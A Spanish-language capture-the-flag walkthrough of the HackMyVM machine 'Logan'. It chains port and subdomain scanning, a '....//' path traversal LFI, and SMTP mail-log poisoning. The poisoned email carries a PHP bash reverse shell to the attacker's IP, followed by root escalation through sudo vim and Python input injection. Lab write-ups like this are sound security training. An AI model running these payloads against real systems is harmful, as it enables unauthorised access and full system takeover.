HackMyVM - Logan
- LFI - Path Traversal Sequences Stripped Non-Recursively
- Log Poisoning - Method POST
- Abusing Vim Binary
- Abusing Python Script
Escaneo de puertos
❯ nmap -p- -v -T5 -n 192.168.1.14
PORT STATE SERVICE
25/tcp open smtp
80/tcp open http
Escaneo de servicios
❯ nmap -sVC -v -p 25,80 192.168.1.14
PORT STATE SERVICE VERSION
25/tcp open smtp Postfix smtpd
|_ssl-date: TLS randomness does not represent time
|_smtp-commands: logan.hmv, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
| ssl-cert: Subject: commonName=logan
| Subject Alternative Name: DNS:logan
| Issuer: commonName=logan
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-07-03T13:46:49
| Not valid after: 2033-06-30T13:46:49
| MD5: 9b0d3da47274a99c8b9e705a122f249f
|_SHA-1: ef60c55ce4bfe99ac4bb3281f2c4ded5d44b4801
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: Host: logan.hmv
Si visito el puerto 80 me redirige a logan.hmv
.
Añado el dominio a mi archivo hosts y vuelvo a visitar el sitio.
Al no encontrar nada en la web hago un escaneo de subdominios y encuentro el subdominio admin.
❯ wfuzz -t 10 -c --hl=1 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.logan.hmv" http://logan.hmv
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://logan.hmv/
Total requests: 114441
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000024: 200 62 L 101 W 1112 Ch "admin"
Añado el subdominio al archivo hosts y visito el nuevo subdominio.
Upload files
Logs
Payments
Con burpsuite intercepto la petición de payments y después de unos minutos encuentro un LFI con path traversal sequences stripped non-recursively
.
Me conecto al servicio smtp a través de netcat para mandar un correo al usuario www-data.
❯ nc logan.hmv 25
220 logan.hmv ESMTP Postfix (Ubuntu)
EHLO logan.hmv
250-logan.hmv
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-STARTTLS
250-ENHANCEDSTATUSCODES
250-8BITMIME
250-DSN
250-SMTPUTF8
250 CHUNKING
VRFY www-data@logan.hmv
252 2.0.0 www-data@logan.hmv
MAIL FROM: noname@fakemail.com
250 2.1.0 Ok
RCPT TO: www-data@logan.hmv
250 2.1.5 Ok
En el campo DATA pongo una php_shell
apuntando a mi máquina.
DATA
354 End data with <CR><LF>.<CR><LF>
<?php exec("bash -c 'bash -i >& /dev/tcp/192.168.1.18/443 0>&1'");?>
.
250 2.0.0 Ok: queued as 8FBB860A4B
quit
221 2.0.0 Bye
Con curl reviso el log para comprobar que se ha mandado el mensaje.
Activo al shell escribiendo la siguiente línea en el textbox.
....//....//....//....//....//var/mail/www-data
En este paso yo he tenido problemas, al realizar varias pruebas los logs se rompen e impiden que la shell se ejecute correctamente, lo he solucionado con:
- Borrar logan.ova
- Importar logan.ova.
Añadiendo una tarea cron que borre los logs al iniciar la máquina solventaría este pequeño “bug” y sólo sería necesario reiniciar la vm en vez de eliminarla y volverla a importar 😉.
Obtengo la shell.
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.1.18] from (UNKNOWN) [192.168.1.14] 43380
bash: cannot set terminal process group (884): Inappropriate ioctl for device
bash: no job control in this shell
www-data@logan:/var/www/admin$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Enumero permisos de sudo.
www-data@logan:/var/www/admin$ sudo -l
Matching Defaults entries for www-data on logan:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User www-data may run the following commands on logan:
(logan) NOPASSWD: /usr/bin/vim
Realizo el movimiento lateral con este recurso de gtfobins.
www-data@logan:/var/www/admin$ sudo vim -c ':!/bin/sh'
[ENTER]
script /dev/null -c bash
Como usuario logan leo la nota to-do.
logan@logan:~$ cat to-do
- Go outside
- Try the new script that gave me root to learn python
Enumero de nuevo permisos de sudo.
logan@logan:~$ sudo -l
Matching Defaults entries for logan on logan:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User logan may run the following commands on logan:
(root) NOPASSWD: /usr/bin/python3 /opt/learn_some_python.py
Lanzo el script learn_some_python.py
.
logan@logan:~$ sudo /usr/bin/python3 /opt/learn_some_python.py
Welcome!!!
The first you need to now is how to use print, please type print('hello')
Obtengo el root de la siguiente forma.
logan@logan:~$ sudo /usr/bin/python3 /opt/learn_some_python.py
Welcome!!!
The first you need to now is how to use print, please type print('hello')
__import__('os').system('/bin/bash')
root@logan:/home/logan# id
uid=0(root) gid=0(root) groups=0(root)
Y aquí termina la máquina Logan.
Saludos!